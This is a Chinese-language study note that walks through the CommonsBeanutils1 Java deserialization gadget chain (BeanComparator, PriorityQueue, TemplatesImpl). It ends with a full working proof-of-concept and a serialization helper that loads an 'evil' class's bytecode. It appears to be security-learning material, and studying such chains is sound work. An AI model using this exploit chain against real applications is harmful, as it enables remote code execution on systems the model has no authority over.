继续反序列化的学习。
之所以会提到CommonsBeanutils
的反序列化链,是因为shiro
是依赖 commons-beanutils
的,当然这是接下来学习的东西的。
根据名字就知道,类似Commons-Collections
是对集合的封装和补充,commons-beanutils
是应用于javabean
的工具。
至于什么是JavaBean
,放一下维基百科的定义,很简单:
- 有一个public的无参数构造函数。
- 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
- 可序列化。
第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean
的getter
方法:
/**
* <p>Return the value of the specified property of the specified bean,
* no matter which property reference format is used, with no
* type conversions.</p>
*
* <p>For more details see <code>PropertyUtilsBean</code>.</p>
*
* @param bean Bean whose property is to be extracted
* @param name Possibly indexed and/or nested name of the property
* to be extracted
* @return the property value
*
* @throws IllegalAccessException if the caller does not have
* access to the property accessor method
* @throws IllegalArgumentException if <code>bean</code> or
* <code>name</code> is null
* @throws InvocationTargetException if the property accessor method
* throws an exception
* @throws NoSuchMethodException if an accessor method for this
* propety cannot be found
* @see PropertyUtilsBean#getProperty
*/
public static Object getProperty(final Object bean, final String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
说白了就是,比如一个类Person
是个JavaBean
,它有个name
属性,则PropertyUtils.getProperty(new Person(),"name")
则会调用它的getName()
方法。
这有什么用呢?继续联系上一篇文章的TransformingComparator
,要去找一个可用的Comparator
。发现commons-beanutils
中的BeanComparator
类的compare()
方法调用了PropertyUtils.getProperty
:
public int compare( final T o1, final T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( final IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( final InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( final NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
我的第一反应其实是,咋可能有类的getter
可以利用呢?但是还是我太年轻了,并不是真的说就是调用对应属性的getter
。而是,比如这样:
PropertyUtils.getProperty(new Person(),"abc")
在我们的利用中,并不是说真的去调用Person
类的abc
属性的getter
,而是调用getAbc()
,不管这个类有没有abc
属性。
再联想到之前TemplatesImpl
的调用链,当时是这样的:
基本上的利用都是从newTransformer()
开始,但是getOutputProperties
同样也是public
,也是以get
开头:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
所以PropertyUtils.getProperty
就可以调用TemplatesImpl
类的getOutputProperties
分析完了就可以开始构造了。首先就是TemplatesImpl
对象:
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
然后构造comparator
和优先级队列PriorityQueue
:
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
注意开头的o
要小写。
接下来正常肯定就是add
两次了,但是如果add
两次的话,内部就会进行一次compare()
,会造成影响,所以不直接add
,而是用反射:
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
之所以还需要设置一下size
,是因为我们没有add
,每次add
都会将size+1
,所以需要利用反射设置一下。
再序列化和反序列即可:
byte[] bytes = SerializeUtil.serialize(priorityQueue);
SerializeUtil.unserialize(bytes);
构造完毕,放出总的POC
,和ysoserial的有些区别,但是总的思路是一样的:
package com.summer.cb1;
import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void main(String[] args) throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
SerializeUtil.setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
SerializeUtil.setFieldValue(priorityQueue,"size",2);
byte[] bytes = SerializeUtil.serialize(priorityQueue);
SerializeUtil.unserialize(bytes);
}
}
package com.summer.util;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class SerializeUtil {
public static Object getFieldValue(Object obj, String fieldName) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
public static byte[] getEvilCode() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get("EvilTest");
byte[] code = clazzz.toBytecode();
return code;
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}